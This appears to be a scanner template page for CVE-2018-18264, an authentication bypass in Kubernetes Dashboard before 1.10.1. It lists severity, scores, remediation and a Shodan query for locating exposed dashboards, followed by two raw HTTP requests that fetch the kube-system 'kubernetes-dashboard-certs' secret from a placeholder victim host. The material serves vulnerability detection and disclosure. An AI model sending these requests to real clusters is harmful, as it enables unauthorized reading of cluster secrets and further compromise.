| Title | Kubernetes Dashboard <1.10.1 - Authentication Bypass |
|---|---|
| Author | edoardottt |
| Severity | High |
| Impact | An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster. |
| Remediation | Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.9085 |
| CVE ID | CVE-2018-18264 |
| CWE ID | CWE-306 |
| Shodan Query | product:"Kubernetes"product:"kubernetes" |
| Tags | cve cve2018 kubernetes k8s auth-bypass vuln |
Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard’s Service Account for reading secrets within the cluster.
GET /api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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